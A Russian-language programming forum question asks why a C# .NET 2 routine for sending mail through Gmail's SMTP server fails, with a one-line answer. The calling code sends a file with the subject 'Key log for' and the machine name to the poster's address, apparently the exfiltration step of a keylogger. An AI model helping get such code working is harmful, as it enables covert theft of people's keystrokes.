.NET 2.x gmail отправка почты - C#
Формулировка задачи:
всем привет
поиском ответа не нашел - не ругайтесь
вопрос - как отправить почту на gmail C# .NET 2
имею много примеров - ни один не пашет
вот один из них - плиз, помогите где грабля?
пишет, что не может соединиться с сервером по причине -No connection could be made because the target machine actively refused it 209.85.143.109:587
.......
вызываю
SendMail("smtp.gmail.com", 587, "removed@mail.ru", "pwd", "removed@mail.ru", "removed@mail.ru", "Key log for " + DateTime.Now.ToString(),
"New Log from " + System.Environment.MachineName,true, @"D:\1.txt");
.......
public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
{
Attachment att = new Attachment(fileName);
MailMessage msg = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
// Create a MailMessage object with a from and to address
msg.Subject = subject;
// Add your subject
msg.SubjectEncoding = System.Text.Encoding.UTF8;
// msg.SubjectEncoding = System.Text.Encoding.ASCII;
msg.Body = body;
// Add the body of your message
msg.BodyEncoding = System.Text.Encoding.UTF8;
//msg.BodyEncoding = System.Text.Encoding.ASCII;
msg.IsBodyHtml = false; // Does the body contain html
msg.Attachments.Add(att);
SmtpClient client = new SmtpClient(host, port);
// Create an instance of SmtpClient with your smtp host and port
client.Credentials = new System.Net.NetworkCredential(userName, pswd);
// Assign your username and password to connect to gmail
client.EnableSsl = sslEnabled; // Enable SSL
try
{
client.Send(msg); // Try to send your message
Console.WriteLine("Your message was sent successfully.");
// A method to update a ui element with a message
}
catch (SmtpException ex)
{
Console.WriteLine("There was an error sending your message. {0}", ex.Message);
}
}Решение задачи: «.NET 2.x gmail отправка почты»
textual
Листинг программы
new SmtpClient("smtp.gmail.com", 587);